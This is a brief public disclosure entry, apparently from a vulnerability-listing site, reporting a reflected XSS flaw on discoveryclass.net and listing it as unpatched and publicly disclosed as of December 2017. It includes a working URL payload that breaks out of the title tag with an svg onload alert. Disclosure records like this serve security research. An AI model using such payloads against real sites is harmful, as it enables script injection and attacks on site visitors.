discoveryclass.net XSS vulnerability

Vulnerable URL: http://discoveryclass.net/?dir=%3C/title%3E%3Csvg/onload=alert/XSSPOSED/%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 23.12.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP website...